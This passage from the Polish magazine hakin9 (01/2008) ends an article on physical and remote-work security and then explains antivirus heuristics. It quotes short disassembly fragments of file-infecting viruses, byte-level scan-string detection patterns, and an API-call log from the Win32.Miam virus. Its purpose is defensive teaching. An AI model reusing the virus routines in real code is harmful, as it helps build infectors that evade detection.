formacji biznesowych. Zagrożenia,
na które należy szczególnie zwró-
cić uwagę:

• podglądanie przez nieupoważ-

nione osoby ekranu urządze-
nia lub klawiatury, podsłuchanie
rozmowy. Rozmowy dotyczą-
ce strategicznych spraw dla fir-
my mogą być prowadzone tylko
w bezpiecznych, sprawdzonych
miejscach. Nie powinny się od-
bywać w obecności osób przy-
padkowych, w miejscach takich
jak prezentacje, targi czy re-
stauracje,

• utrata urządzenia przenośnego:

zgubienie lub kradzież (przy-
padkowa – złodziej nie krad-
nie urządzenia dla danych, któ-
re się na nim znajdują, a dla sa-
mego urządzenia lub świadoma
– dla złodzieja istotne są dane,
które znajdują się w pamięci
urządzenia). Przenośne urzą-
dzenia komputerowe powinny
być wyposażone w fizyczne za-
bezpieczenia przed kradzieżą.

Urządzenia przenośne oraz nośni-
ki danych zabierane z siedziby fir-
my nie powinny być pozostawiane
bez nadzoru w miejscach publicz-
nych. Zaleca się przewożenie kom-
puterów przenośnych jako bagażu
podręcznego i, jeśli jest to możli-
we, maskowanie ich podczas po-
dróży (charakterystyczne torby na
laptopy nie są najlepszym rozwią-
zaniem). Nie należy pozostawiać
dokumentów, nośników danych
i sprzętu w hotelach ani w samocho-
dzie bez kontroli.

Informacje przechowywane na

urządzeniach przenośnych lub kom-
puterowych nośnikach danych mogą
ulec uszkodzeniu na przykład w wy-
niku działania silnego pola elektro-
magnetycznego – należy przestrze-
gać zaleceń producentów dotyczą-
cych ochrony sprzętu. Wskazane
jest, aby sprzęt wykorzystywany po-
za siedzibą firmy był ubezpieczony.

Zastosowane środki bezpie-

czeństwa należy dobrać do osza-
cowanego ryzyka utraty danych wy-
korzystywanych podczas pracy po-
za siedzibą.

Jeszcze innym regulacjom zwią-

zanym z bezpieczeństwem powin-
na podlegać, coraz popularniej-
sza, praca na odległość (telepraca).
Pracownik wykonuje swoją pracę
w pewnym stałym miejscu znajdu-
jącym się poza siedzibą firmy. Miej-
sce to powinno być w odpowiedni
sposób chronione: zarówno przed
kradzieżą sprzętu i informacji, nie-
uprawnionym ujawnieniem informa-
cji, jak również nieuprawnionym do-
stępem do wewnętrznych systemów
instytucji czy niewłaściwym wyko-
rzystaniem urządzeń.

background image

Serwery – co im zagraża, jak się zabezpieczyć

Norma PN-ISO/IEC 17799 za-

leca, aby firma rozważyła stwo-
rzenie polityki i określiła standardy
dotyczące kontroli czynności wyko-
nywanych w ramach pracy na odle-
głość. Upoważnienie pozwalające
na taką pracę powinno zostać wy-
dane tylko i wyłącznie, kiedy zapew-
niona została właściwa organizacja,
wdrożono zabezpieczenia oraz za-
pewniono ich zgodność z polityką
bezpieczeństwa firmy. Norma zale-
ca rozważenie między innymi nastę-
pujących zagadnień:

• rzeczywiste bezpieczeństwo fi-

zyczne miejsca pracy; należy
wziąć pod uwagę zabezpiecze-
nia fizyczne budynku i lokalnego
środowiska,

• wymagania bezpieczeństwa doty-

czące łączności, biorąc pod uwa-
gę potrzebę zdalnego dostępu do
wewnętrznych systemów instytu-
cji, wrażliwość informacji, której
dostęp będzie dotyczył, pomijając
natomiast w rozważaniach łącze

telekomunikacyjne i wrażliwość
wewnętrznego systemu,

• zagrożenia nieuprawnionego do-

stępu do informacji lub zasobów
ze strony innych osób znajdują-
cych się w pobliżu, na przykład
rodziny i przyjaciół. Określenie
zasad i wytycznych dotyczących
dostępu rodziny i gości do urzą-
dzeń i informacji,

• określenie dozwolonych prac,

godzin pracy, klasyfikacji infor-
macji, które mogą być w po-
siadaniu pracownika wykonują-
cego pracę na odległość oraz
określenie wewnętrznych syste-
mów, do których ma on upraw-
niony dostęp.

Urządzenia zdalnego dostępu – KVM
i RR to skrót od Keyboard Video Mo-
use i Remote Reset. Są to – w skró-
cie – urządzenia umożliwiające zdal-
ny dostęp do konsoli, pozwalające
na zdalne zarządzanie komputerem.
Istnieją różnego rodzaju urządzenia
– od wdzwanianych telefonicznie po
urządzenia IP. Komuś, kto nie ma po-
jęcia, jak wygląda praca administrato-
ra, może się wydawać, że takie urzą-
dzenie to luksus, ponieważ admin za-
wsze może podejść do komputera.
Problem zaczyna się jednak w nocy.
Takie urządzenie zwiększa komfort
i daje realne korzyści. Administrator

może być bowiem w czasie gotowości
do pracy, a nie w pracy (patrz Kodeks
Pracy). Dodatkowo, jeżeli masz ma-
ły zespół fachowców, głupio będzie
się tłumaczyć klientom, że serwer nie
działa, ponieważ administrator jedzie
z drugiego końca miasta, aby coś zre-
startować. W związku z tym warto za-
wczasu zaopatrzyć się przynajmniej
w urządzenie Remote Reset, które
pozwoli na wykonanie operacji zdal-
nego restartu maszyny (gdy to jest
naprawdę koniecznie). KVM pozwoli
zaś na dostęp do konsoli i pracę np.
w trybie awaryjnym przed ponownym
wystartowaniem systemu.

Podsumowanie

Artykuł został oparty na wytycz-
nych przedstawionych w normie
PN-ISO/IEC 17799:2003 Technika
informatyczna. Praktyczne zasady
zarządzania bezpieczeństwem in-
formacji.

Zachęcam do zapoznania się

z normą wydaną przez Polski Komi-
tet Normalizacyjny i samodzielnego
opracowania polityki bezpieczeń-
stwa uwzględniającej warunki za-
pewnienia bezpieczeństwa fizycz-
nego i środowiskowego. W każdej
chwili można skorzystać również
z usług firm specjalizujących się
w zarządzaniu bezpieczeństwem
informacji. l

O autorze

Pasją autora są nowe technologie
i języki programowania.
Kontakt z autorem:
spinacz24@gmail.com

R

E

K

L

A

M

A

background image

www.hakin9.org

hakin9 Nr 01/2008

58

Obrona

J

est to obecnie najpopularniejsza metoda
detekcji, choć ma istotną wadę, mianowi-
cie jest metodą reakcyjną. Ponieważ In-

ternet umożliwia błyskawiczne rozprzestrze-
nianie się niebezpieczeństwa, jest ona często
niewystarczająca.

Metoda oparta na wzorcach zagrożeń cha-

rakteryzuje się niebezpieczną luką w czasie
pomiędzy pojawieniem się zagrożenia a udo-
stępnieniem wzorca je wykrywającego. Wzo-
rzec jest przygotowywany przez specjalistów
z firm antywirusowych, którzy muszą otrzymać
nową próbkę, następnie przeanalizować ją
i przygotować sygnaturę, która będzie zagroże-
nie w sposób jednoznaczny identyfikować, nie
powodując przy tym fałszywych alarmów (Ry-
sunek 1.). Alternatywą dla ręcznego wybierania
wzorców jest wykorzystanie automatycznie ge-
nerowanych sum kontrolnych, ale są one wraż-
liwe nawet na drobne modyfikacje i stosowa-
nie ich szybko prowadzi do nadmiernego roz-
rostu baz.

Rozwiązaniem tego problemu są zdoby-

wające coraz większą popularność mechani-
zmy prewencyjne oparte na klasyfikacji heu-
rystycznej. Heurystyka (gr. heuriskoznaleźć)
to umiejętność odkrywania nowych faktów

i związków pomiędzy faktami poprzez umiejęt-
ne postawienie hipotez. Algorytmy heurystycz-
ne na podstawie wiedzy o cechach istniejących
niebezpieczeństw są w stanie przeanalizować
skanowany obiekt i stwierdzić, czy można go
zaklasyfikować jako niebezpieczny.

Uogólnione wzorce

Metody wykrywania nieznanych wirusów by-
ły implementowane w programach antywiru-
sowych od początku ich istnienia. Najprost-

Heurystyka w programach

antywirusowych

Jakub Dębski

stopień trudności

Istnieją dwie główne metody wykrywania złośliwego

oprogramowania – oparte na wzorcach zagrożeń i na analizie

heurystycznej. Pierwszy typ zapewnia stuprocentową

wykrywalność zagrożeń, które są znane, jednak wymaga ciągłej

aktualizacji baz sygnatur.

Z artykułu dowiesz się

• czym jest heurystyka w programach antywiruso-

wych,

• jakie są rodzaje wykorzystywanych heurystyk,
• przed jakimi problemami stoją twórcy heury-

styk.

Co powinieneś wiedzieć

• powinieneś znać podstawy asemblera,
• powinieneś mieć ogólne pojęcie o budowie

systemów operacyjnych,

• powinieneś znać terminologię związaną z nie-

bezpiecznym oprogramowaniem.

background image

Heurystyka w programach antywirusowych

hakin9 Nr 01/2008

www.hakin9.org

59

szą metodą rozpoznawania no-
wych wersji wirusów są uogólnione
wzorce. Wzorzec (scan-string, pat-
tern
) jest ciągiem bajtów wyekstra-
howanym z wirusa, który w sposób
jednoznaczny go identyfikuje. Ma-
jąc wzorzec wirusa możemy zasto-
sować jeden z licznych algorytmów
dopasowujących, w celu znalezie-
nia go w badanym pliku. Wzorzec
musi spełniać kilka wymagań, aby
można go było zastosować do iden-
tyfikacji zagrożenia:

• powinien być fragmentem cha-

rakterystycznym dla wirusa (nie
może występować w czystych
plikach),

• nie może być zbyt krótki (mógłby

powodować fałszywe alarmy),

• nie może być zbyt długi (dopa-

sowanie go byłoby długotrwałe,
a zajętość pamięci znaczna przy
licznej bazie zagrożeń).

Przyjrzyjmy się fragmentowi wirusa
asemblerowego, który spełnia wy-
magania wzorca (Listing 1).

Powyższy fragment jest cha-

rakterystyczny, ponieważ poszu-
kuje pod wyliczanym adresem sło-
wa KERN, co nie powinno wystą-
pić w pliku czystym. Po lewej stro-
nie znajdują się bajty reprezentu-
jące instrukcje, których ciąg może
stanowić wzorzec służący do wy-
krycia wirusa.

Ponieważ wirus ten uzyskuje do-

stęp do własnych danych techni-
delta offset (tu względem reje-

stru ebp), w innych wersjach wirusa,
po wprowadzeniu do niego niewiel-
kiej zmiany, adresy mogą się zmie-
nić. Aby uogólnić ten wzorzec na in-
ne wersje, możemy zastąpić część
bajtów znakiem zastępczym odpo-
wiadającym podczas dopasowywa-
nia za dowolny bajt (Listing 2).

W ostatniej linii mamy skok wa-

runkowy, którego adres docelowy
jest offsetem względem aktualnej
instrukcji. Po dodaniu do wirusa do-
datkowych rozkazów offset ten może
się zmienić, więc w miejsce tych baj-
tów możemy wstawić znaki zastęp-
cze lub całkiem je wyciąć, ponieważ
znajdują się na końcu scan-stringa.
Dzięki powyższym zabiegom scan-
string będzie potrafił wykryć zarów-
no nowe wersje tego wirusa, jak też
wszystkie wirusy, które zawierają
opisany wzorzec. Ponieważ autorzy
niebezpiecznych programów często
wykorzystują fragmenty istniejące-
go złośliwego kodu, możliwe jest wy-
branie wzorca wychwytującego zu-
pełnie nowe zagrożenia.

Zbytnie skracanie i uogólnianie

scan-stringów może powodować
fałszywe alarmy. Rozwiązaniem

tego problemu jest stosowanie kil-
ku krótkich wzorców, które mu-
szą znajdować się w badanym pli-
ku, aby stwierdzić obecność wiru-
sa. Od tego podejścia już tylko krok
do heurystyki statycznej, czyli naj-
popularniejszej metody heurystycz-
nego wykrywania wirusów.

Heurystyka

Heurystykę w programach antywi-
rusowych można podzielić na kilka
kategorii w zależności od sposo-
bu działania. Najczęstszym spoty-
kanym podziałem jest wyszczegól-
nienie heurystyki statycznej i dy-
namicznej. Do metod heurystycz-
nych zalicza się również analizę
behawioralną oraz sprawdzanie
integralności. Przypatrzmy się po-
szczególnym typom i przeanalizuj-
my ich wady i zalety.

Heurystyka statyczna

Heurystyka statyczna opiera się na
analizie obiektu w postaci, w jakiej
zostanie on przekazany do analizy;
na traktowaniu obiektu jako ciągu
bajtów. Analiza taka bazuje na dys-
kryminatorach zebranych z istnieją-
cych niebezpiecznych programów,
czyli na cechach odróżniających nie-
bezpieczne programy od czystych
plików. Aby analizowany obiekt zo-
stał uznany za podejrzany, musi za-
wierać określoną liczbę dyskrymina-
torów. Dyskryminatory najczęściej
są ciągami bajtów, ale mogą być
związane np. z nietypowym wyglą-
dem
pliku wykonywalnego.

Rozpatrzmy przykład wykrywa-

nia typowego, napisanego w asem-
blerze wirusa za pomocą heurysty-
ki statycznej. Typowy wirus infekuje
plik wykonywalny poprzez dołącze-
nie do niego swojego kodu, następ-
nie przeszukuje dysk w celu znale-

Listing 1.

Fragment wirusa asemblerowego nadający się na wzorzec

8BBDAA174000

mov

edi

,[

ebp

][

004017AA

]

8B7778

mov

esi

,

[

edi

][

78

]

03B59E174000

add

esi

,[

ebp

][

0040179E

]

8B7E0C

mov

edi

,[

esi

][

0C

]

03BD9E174000

add

edi

,

[

ebp

][

0040179E

]

813F4B45524E

cmp

d

,

[

edi

]

,

04E52454B

;"NREK"

0F857C000000

jne

.

001013F35

Rysunek 1.

Wykrywanie reakcyjne (Reactive) kontra heurystyczne

(Proactive)

������
��������

������

��������

��������

��������

��������

��������
��������

������������
���������������

���������
�������

����������������
�����������

�����������������������

�������������������

�������������������

�������������������

�������������������

background image

hakin9 Nr 01/2008

www.hakin9.org

Obrona

60

zienia innych plików podatnych na
infekcję. Aby wykryć wirusa przy
użyciu heurystyki statycznej, musi-
my zgromadzić kolekcję mikrowzor-
ców, których występowanie będzie
świadczyło o podejrzanym dzia-
łaniu. Stworzenie użytecznej ba-
zy mikrowzorców wymaga wiedzy
na temat zasady działania wirusów
i technik w nich stosowanych.

Mikrowzorcem może być przy-

kładowo pobranie offsetu delta,
które można znaleźć w większo-
ści wirusów plikowych. Offset delta
pobierany jest przez wirusa w celu
ustalenia adresu początku samego
siebie. Jest on wirusowi potrzeb-
ny, jeżeli chce w prosty sposób ko-
rzystać z danych, które są zawarte
w obszarze wirusa. Popularną me-
todą ustalenia offsetu delta jest se-
kwencja rozkazów:

E800000000 call $+5
5D pop ebp
ED sub ebp, ????????

co przekłada się na mikrowzorzec

E8000000005DED

.

Występowanie tego mikrowzorca

może sugerować, że ciąg bajtów jest
kodem, który został dopisany do pli-
ku wykonywalnego. Innym przykła-
dem mikrowzorca może być spraw-
dzanie formatu pliku PE32 przed in-
fekcją lub podczas poszukiwania
w pamięci adresów funkcji API, za
pomocą porównań z charaktery-
stycznymi oznaczeniami MZ i PE.

Jego adres znajduje się pod offse-
tem 3C względem MZ (Listing 3).

W tym przykładzie za uogólniony

scan-string może służyć ciąg bajtów

4D5A75*8B*3C*504575,

gdzie * to 1-10

dowolnych znaków. Innymi mikrow-
zorcami infektorów plików mogą być
nazwy funkcji API pojawiające się
nie w sekcji importów, teksty *.exe,
*.*”, będące specyfikacją dla wyszu-
kiwania plików do zarażenia lub war-
tości CRC32 policzone z nazw API
(wiele wirusów, szczególnie wzoro-
wanych na napisanych przez grupę
29A, korzystało z procedury wyszu-
kiwania adresów API bazującej na
sumie kontrolnej nazwy).

W przypadku złośliwych progra-

mów pisanych w językach wysokie-
go poziomu podejrzane może być
występowanie tekstów określają-
cych klucze rejestru odpowiedzialne
za autostart aplikacji w systemie (np.
SOFTWARE\Microsoft\Windows\
CurrentVersion\Run
), fragmenty, z któ-
rych składane są maile (np. MA-
IL FROM:
) czy adresy blokowanych
stron WWW (np. windowsupda-
te.microsoft.com
). Wykrywanie heu-

rystyczne niebezpiecznego opro-
gramowania tworzonego w języ-
kach wysokiego poziomu jest jednak
znacznie bardziej skomplikowane niż
wykrycie kodu asemblerowego.

W celu zwiększenia jakości kla-

syfikacji przy użyciu heurystyki sta-
tycznej można połączyć mikrow-
zorce z nietypowym wyglądem pli-
ku spowodowanym modyfikacjami
przeprowadzonymi podczas infek-
cji. Przykładowo za nietypowe moż-
na uznać sytuacje, gdy:

• punkt wejścia do programu (Entry-

Point) wskazuje na ostatnią sek-
cję, która nie jest sekcją kodu (wi-
rus dopisał się do ostatniej sekcji),

entryPoint wskazuje na wnętrze

nagłówka pliku PE (małe wirusy
platform Win9x umieszczały się
w nagłówku pliku),

• sekcja kodu posiada oprócz atry-

butu wykonywalne, także odczyt
i zapis (częste w przypadku wi-
rusów polimorficznych),

• sekcja relokacji lub sekcja zasobów

jest większa, niż być powinna.

Utrudnieniem techniki wykrywania
wirusów według nietypowego wy-
glądu stały się popularne ostatnio
kompresory (np. UPX) i protekto-
ry (np. Asprotect) plików wykony-
walnych, które wprowadzają typo-
we dla wirusów modyfikacje. Moż-
liwe jest zidentyfikowanie protekto-
ra i zignorowanie go przy tego typu
detekcji, ale – szczególnie w przy-
padku protektorów o otwartych źró-
dłach – protektory są często mody-
fikowane i zidentyfikowanie wszyst-
kich ich wersji jest kłopotliwe. Z dru-
giej strony samo występowanie za-
bezpieczenia w pliku stanowi pierw-
szą oznakę, że autor programu ma
coś do ukrycia i jest to podejrzane.

Listing 2.

Istotne informacje z fragmentu wirusa asemblerowego

8BBD????????

mov

edi

,[

ebp

][

????????

]

8B7778

mov

esi

,[

edi

][

78

]

03B5????????

add

esi

,[

ebp

][

????????

]

8B7E0C

mov

edi

,[

esi

][

0C

]

03BD????????

add

edi

,[

ebp

][

????????

]

813F4B45524E

cmp

d

,[

edi

],

04E52454B

;"NREK"

0F85

jne

????????

Rysunek 2.

Epidemia robaka Bagle.AS. (Źródło: www.virus-radar.com)

���

���

���

���

���

���

���

���

���

����

������

����

����

����

����

����

����

����

����

����

�����

�����

�����

�����

�����

��

���

��

���

��

���

��

���

��

���

�����

�������������������

background image

Heurystyka w programach antywirusowych

hakin9 Nr 01/2008

www.hakin9.org

61

Zaletą heurystyki statycznej jest

duża szybkość działania – tym więk-
sza, że analizowane obszary zwykle
nie są duże i można w całości wczy-
tać je do pamięci. Jej wadą jest ogra-
niczone pole analizy umożliwiają-
ce wykrycie jedynie tych zagrożeń,
które posiadają często występujące
cechy. Heurystyka taka potrafi prze-
analizować jedynie kod, który nie jest
zaszyfrowany, ale po uzyskaniu po-
staci zdeszyfrowanej (np. za pomo-
cą emulacji) można ją przekazać po-
nownie do skanowania przy użyciu
heurystyki statycznej.

Po znalezieniu w analizowa-

nym obiekcie wystarczającej licz-
by charakterystycznych cech może-
my stwierdzić, że obiekt jest niebez-
pieczny. Heurystyka statyczna dla in-
nych rodzajów wirusów, na przykład
skryptowych lub makrowirusów, two-
rzona jest w sposób analogiczny.

Heurystyka dynamiczna

Heurystyką dynamiczną nazywa
się analizę przeprowadzaną pod-
czas działania podejrzanego pro-
gramu, dzięki czemu możliwe jest
poznanie zachowania obiektu lub
uzyskanie postaci obiektu dającej
więcej informacji. Zwykle taką ana-
lizę przeprowadza się podczas uru-
chomienia podejrzanego progra-
mu w środowisku bezpiecznym,
za pomocą emulatora procesora
i systemu operacyjnego. Środowi-

sko takie nazywane jest piaskow-
nicą (ang. sandbox). Program
w niej uruchomiony – niczym dziec-
ko znajdujące się w piaskownicy –
nie może popsuć niczego, co znaj-
duje się poza nią, a jego działania
można obserwować i analizować.
Do heurystyki dynamicznej można
zaliczyć również analizę behawio-
ralną przeprowadzaną na działa-
jącym systemie, o której więcej bę-
dzie w dalszej części tekstu.

Emulatory w programach anty-

wirusowych początkowo tworzone
były w celu odszyfrowania części
zaszyfrowanej wirusów polimor-
ficznych. Wykonywały polimorficz-
ny kod wirusa do czasu, aż zakoń-
czył on deszyfrację, co najczęściej
wiązało się z wywołaniem funkcji
systemowej. Następnie rozszerzo-
no ich funkcjonalność o możliwość
analizy behawioralnej, więc wywo-
łanie funkcji systemowej nie kończy

działania, ale jest również emulo-
wane zgodnie z zachowaniem rze-
czywistego systemu operacyjnego.
Wykonując program w bezpiecz-
nym środowisku można spraw-
dzić, jakie akcje próbuje on podjąć
i stwierdzić w ten sposób, czy sta-
nowi potencjalne zagrożenie.

Innymi podejrzanymi zachowa-

niami, które może wykryć heurysty-
ka dynamiczna, są na przykład: li-
niowa modyfikacja obszaru pamię-
ci, a potem skok w zmodyfikowany
obszar (deszyfracja, często stoso-
wana w wirusach polimorficznych),
wykonywanie pustych pętli, któ-
re nie modyfikują stanu rejestrów
procesora ani pamięci (sztucz-
ka utrudniająca analizę programu
i spowalniająca emulację), czy wy-
konywanie kodu w obszarze sto-
su. Wszystkie te cechy świadczą
o tym, że wykonywany program nie
jest programem normalnym.

Wśród twórców wirusów istnie-

je przekonanie, że skomplikowanie
kodu polimorficznego utrudnia zna-
lezienie wirusa w pliku. Nic bardziej
mylnego. Sam kod polimorficzny
i metamorficzny jest relatywnie pro-
sty do wykrycia, gdyż jest całkowi-
cie różny od kodu wygenerowanego
przez kompilator, a nawet od kodu
asemblerowego stworzonego przez
człowieka. Generatory polimorficzne
tworzą znaczną liczbę instrukcji lub
zestawów instrukcji nic nierobiących,
tzw. śmieci. Kod ten, całkowicie nie-
zoptymalizowany, daje się za pomo-
cą mniej lub bardziej skomplikowa-
nych metod zidentyfikować i potrak-
tować jako podejrzane zachowanie.
Ponieważ protektory plików wykony-
walnych również zawierają polimor-

Listing 3.

Fragment wirusa infekującego pliki. Sprawdzenie nagłówka

pliku

66813A4D5A

cmp

w

,[

edx

],

05A4D

;"ZM"

75F8

jne

.

00040106E

8BCA

mov

ecx

,

edx

8B493C

mov

ecx

,[

ecx

][

3C

]

03CA

add

ecx

,

edx

3BC8

cmp

ecx

,

eax

7FED

jg

.

00040106E

6681395045

cmp

w

,[

ecx

],

04550

;"EP"

75E6

jne

.

00040106E

Rysunek 3.

Fragmenty dwóch wersji robaka Agobot

background image

hakin9 Nr 01/2008

www.hakin9.org

Obrona

62

ficzne deszyfratory, ich nowe wersje
mogą być fałszywie identyfikowane
powyższymi metodami.

Stosowanie emulacji w proce-

sie analizy ma kilka istotnych minu-
sów. Główną wadą jest relatywnie
niewielka szybkość działania same-
go emulatora, a dodatkowe spraw-
dzenia wykonywane podczas ana-
lizy heurystycznej jeszcze emula-
cję spowalniają. Duże znaczenie
dla szybkości działania ma też pro-
blem stopu, czyli stwierdzenie, kie-
dy emulacja powinna się zakończyć.
Choć powstało wiele metod przy-
spieszających działanie emulatorów
i wciąż powstają nowe (np. wyko-
rzystanie wirtualizacji procesorów),
istnieje kilka barier nie do pokona-
nia. Najtrudniejszą z nich jest niede-
terministyczność wykonywania ko-
du. Dla niebezpiecznego programu
nie jest problemem, jeżeli zadziała
raz na kilka uruchomień. Może być
to spowodowane wywołaniem funk-
cji zwracającej losową wartość lub
warunkami logicznymi, które środo-
wisko musi spełnić. Emulator dzia-
łający w sposób deterministyczny
nie jest w stanie obsłużyć tych sytu-
acji, ponieważ emulacja podąża jed-
ną ścieżką, nie badając wszystkich
możliwych rozgałęzień kodu. Zatem
emulator może pójść ścieżką, któ-
ra kończy działanie niebezpieczne-
go programu, przez co nie będzie
można stwierdzić podejrzanego za-
chowania. Autorzy niebezpiecznego
oprogramowania starają się również

wykrywać uruchomienie w sztucz-
nym
środowisku i reagować na nie,
ukrywając swoją obecność. Innym
przykładem niedeterministyczności
może być odmienne działanie pro-
gramu w różnych wersjach systemu
operacyjnego. Przed twórcą emula-
tora pozostaje problem wyboru, któ-
rą wersję emulować.

Analiza behawioralna

Każdy proces działający w trybie
użytkownika musi komunikować się
z systemem operacyjnym za pomo-
cą udostępnionego interfejsu API.
W trybie tym pracują wszystkie stan-
dardowe aplikacje, w tym większość
niebezpiecznych programów, po-
nieważ nie muszą do działania uzy-
skiwać nadzwyczajnych uprawnień
w systemie. Monitorując wywoła-
nia funkcji systemowych jesteśmy
w stanie uzyskać dokładne informa-
cje na temat zachowania analizowa-
nego programu. Monitorowanie mo-
że odbywać się albo podczas emu-
lacji w środowisku bezpiecznym, al-
bo w działającym systemie. Monito-
rowanie działającego systemu, mi-
mo jego spowolnienia, zyskuje coraz
większą popularność, ponieważ jest
w stanie wykryć zagrożenia, którym
emulacja nie jest w stanie sprostać.

Zaletą analizy behawioralnej jest

przeniesienie klasyfikacji na znacz-
nie wyższy poziom abstrakcji. Nie
operujemy w tym przypadku na po-
jedynczych instrukcjach kodu ma-
szynowego, ale w domenie opisanej

przez zachowania. Unikamy w ten
sposób problemów wynikających
z różnic w kodzie, które szczególnie
widoczne są w przypadku progra-
mów wygenerowanych przez kom-
pilatory języków wysokiego pozio-
mu (Rysunek 3). Co więcej, zmiany
wprowadzane w kolejnych wersjach
niebezpiecznego oprogramowania
zwykle w niewielki sposób zmie-
niają jego zachowanie, gdyż auto-
rzy zwiększają, co najwyżej, funk-
cjonalność programu.

Przykładowo, wykorzystując emu-

lator możemy stwierdzić, że program
wykonuje podejrzaną sekwencję wy-
wołań systemowych i określić obiekt
jako nowego wirusa lub jako odmia-
nę istniejącego. Większość wirusów
działających pod Windows na począt-
ku działania pobiera z systemu adresy
funkcji, które będą wykorzystywane.
Zakładając, że adres 0x77e60000 jest
adresem biblioteki KERNEL32.DLL
w pamięci procesu, pobieranie listy
wygląda następująco (wynik progra-
mu TraceApi na wirusie Win32.Miam).
Patrz Listing 4.

Pobranie adresów wykorzysty-

wanych funkcji API jest dla wirusa
niezbędne w sytuacji, gdy chce on
skorzystać z funkcji systemowych,
które nie znajdują się w Import Ad-
dress
Table infekowanego pliku. Se-
kwencje takie można znaleźć w wi-
rusach asemblerowych i takie za-
chowanie świadczy o działaniu dołą-
czonego do programu wirusa.

Oczywiście heurystyczna klasy-

fikacja behawioralna może dotyczyć
wszystkich czynności, które wykonu-
je analizowany program, a które mo-
gą być niebezpieczne. Najczęściej
monitorowanie behawioralne doty-
czy typowych działań niebezpiecz-
nych programów, jakimi są:

• modyfikacja plików wykonywal-

nych,

• pobieranie i uruchamianie plików

z Internetu,

• wysyłanie listów za pomocą wła-

snego silnika SMTP,

• modyfikacja rejestru,
• modyfikacja plików systemowych,
• zabijanie procesów (np. progra-

mów antywirusowych),

Listing 4.

Początek logu programu TraceApi na wirusie Win32.Miam

GetProcAddress

(

77e60000

,

GetModuleHandleA

)

GetProcAddress

(

77e60000

,

GetCurrentDirectoryA

)

GetProcAddress

(

77e60000

,

FindFirstFileA

)

GetProcAddress

(

77e60000

,

FindNextFileA

)

GetProcAddress

(

77e60000

,

CreateFileA

)

GetProcAddress

(

77e60000

,

GetFileSize

)

GetProcAddress

(

77e60000

,

LocalAlloc

)

GetProcAddress

(

77e60000

,

ReadFile

)

GetProcAddress

(

77e60000

,

SetFilePointer

)

GetProcAddress

(

77e60000

,

WriteFile

)

GetProcAddress

(

77e60000

,

CloseHandle

)

GetProcAddress

(

77e60000

,

LocalFree

)

GetProcAddress

(

77e60000

,

GetLocalTime

)

GetProcAddress

(

77e60000

,

SetCurrentDirectoryA

)

GetProcAddress

(

77e60000

,

GetWindowsDirectoryA

)

GetProcAddress

(

77e60000

,

GetSystemDirectoryA

)

GetModuleHandleA

(

User32

.

dll

)

background image

Heurystyka w programach antywirusowych

hakin9 Nr 01/2008

www.hakin9.org

63

• modyfikacja innych procesów,
• szpiegowanie klawiatury,
• nasłuchiwanie na otwartych por-

tach,

• praca programu bez widocznego

okna.

Problemem dla monitorów beha-
wioralnych mogą być aplikacje wie-
lowątkowe, ponieważ monitor mu-
si skupić się albo na czynnościach
wykonywanych globalnie przez ca-
łą aplikację, albo na czynnościach
wykonywanych przez poszczegól-
ne wątki. Większość współcześnie
tworzonego niebezpiecznego opro-
gramowania działa jednak w jed-
nym wątku.

Monitory behawioralne posiadają

zwykle rozbudowywaną bazę fałszy-
wych alarmów, gdyż niebezpieczne
programy pisane w językach wyso-
kiego poziomu charakteryzują się
pod względem zachowania wysokim
podobieństwem do plików czystych.
Przykładowo moduły autoaktualiza-
cji programów są pod względem za-
chowania bardzo podobne do popu-
larnych downloaderów.

Oprócz przeprowadzania skom-

plikowanej analizy zachowań, blo-
kowane mogą być wszystkie po-
tencjalnie niebezpieczne akcje, ta-
kie jak wstrzykiwanie kodu do in-
nych procesów i tworzenie w nich
zdalnych wątków czy automatycz-
ne uruchamianie makr MS Office.
Co więcej, niektóre programy anty-
wirusowe blokują wykonanie przez
użytkownika wszystkich skryptów
(.vbs, .bat, .cmd), traktując je jako
potencjalnie niebezpieczne.

Również monitorowanie dostępu

do rejestru staje się elementem pro-
gramów antywirusowych. Wymaga
jednak interaktywnego stwierdzenia,
czy dana modyfikacja była zamierzo-
na, czy nie, co jest kłopotliwe dla nie-
doświadczonego użytkownika.

Sprawdzanie

integralności

Najprostszym podejściem do heu-
rystycznego wykrywania obecno-
ści niebezpiecznego oprogramo-
wania jest zbadanie, czy określo-
ne obszary systemu (pliki, rejestr)

nie ulegają zmianie. Jeszcze kilka
lat temu nie było problemem mo-
nitorowanie zmian w plikach po-
przez sprawdzenie zapamiętanej
poprawnej sumy kontrolnej. Wraz
z upowszechnieniem Internetu
wzrosła liczba aplikacji, które au-
tomatycznie aktualizują się do naj-
nowszych wersji, modyfikując nie
tylko pliki danych, ale też pliki wy-
konywalne. Także sam system ope-
racyjny nie jest stały, ale modyfiko-
wany za pomocą ukazujących się
mniej lub bardziej regularnie łat.
Uwzględniając fakt, że baza sum
kontrolnych może również stać się
celem ataku, monitorowanie zmian
na podstawie sum kontrolnych jest
coraz rzadziej stosowane.

Sprawdzanie integralności dzia-

ła jednak w przypadku heurystycz-
nego wykrywania rootkitów, jak
czyni to System Virginity Verifier.
Analizuje on zmiany wprowadzone
w pamięci modułów systemowych
i porównuje je z poprawnymi war-
tościami odczytanymi z plików
(najlepiej podpisanych cyfrowo).
Jeżeli integralność modułów zo-
stanie naruszona, prawdopodobne
jest działanie rootkita, który zmo-
dyfikował system w celu ukrycia
w nim obiektów.

Integralność plików możemy

sprawdzić dzięki istnieniu coraz czę-
ściej stosowanych podpisów cyfro-
wych. Niektóre programy antywiru-
sowe nie potrafią przebić się przez
warstwy zabezpieczające plików wy-
konywalnych i wszystkie takie pli-
ki zgłaszają jako podejrzane. Jeżeli
jesteśmy twórcami oprogramowania
i chcemy zabezpieczyć program,
jednocześnie nie przyprawiając
użytkowników o palpitacje serca na
skutek fałszywego alarmu, program
taki powinniśmy podpisać. Firmy an-
tywirusowe będą dzięki temu mo-
gły zidentyfikować twórcę programu
i nie zgłaszać użytkownikowi zabez-
pieczenia jako podejrzanego.

Sprawdzanie integralności sta-

ło się jednym z podstawowych me-
chanizmów bezpieczeństwa w sys-
temie Windows Vista. Wspomnia-
ny mechanizm Kernel Patch Pro-
tection
sprawdza, czy nie zostały
wprowadzone w systemie nielegal-
ne zmiany:

• modyfikowanie tablicy usług syste-

mowych (systfem service tables),

• modyfikowanie tablicy przerwań

(IDT),

• modyfikowanie tablicy globalnych

deskryptorów (GDT),

Rysunek 4.

Wizualizacja robaków InTheWild według podobieństwa

behawioralnego. Widzimy duże skupienia określające rodziny

background image

hakin9 Nr 01/2008

www.hakin9.org

Obrona

64

• używanie w jądrze stosu, który nie

został przydzielony przez jądro,

• łatanie dowolnej części jądra.

Sprawą dyskusyjną jest, czy me-
